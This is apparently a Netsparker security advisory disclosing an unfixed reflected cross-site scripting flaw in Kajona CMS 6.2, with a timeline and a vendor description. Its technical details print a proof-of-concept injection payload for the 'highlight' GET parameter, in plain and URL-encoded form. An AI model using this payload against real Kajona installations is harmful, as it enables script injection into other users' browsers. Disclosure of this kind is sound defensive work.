Information
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Advisory by Netsparker
Name: Cross-Site Scripting Vulnerability in Kajona CMS
Affected Software: Kajona CMS
Affected Versions: 6.2
Homepage: https://www.kajona.de
Vulnerability: Reflected Cross-Site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 7.4 (High)
Netsparker Advisory Reference: NS-21-004

Technical Details
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URL: http://localhost:8080/index.php?highlight="+alert(0x0045AD)+"&page=subpage_1
Parameter Name: highlight
Parameter Type: GET
Attack Pattern: %22%2balert(0x0045AD)%2b%22

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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30th June 2021 - First Contact
22nd November 2021 - Advisory Released

Credits & Authors
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These issues have been discovered by Ozgur Dinc while testing the Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.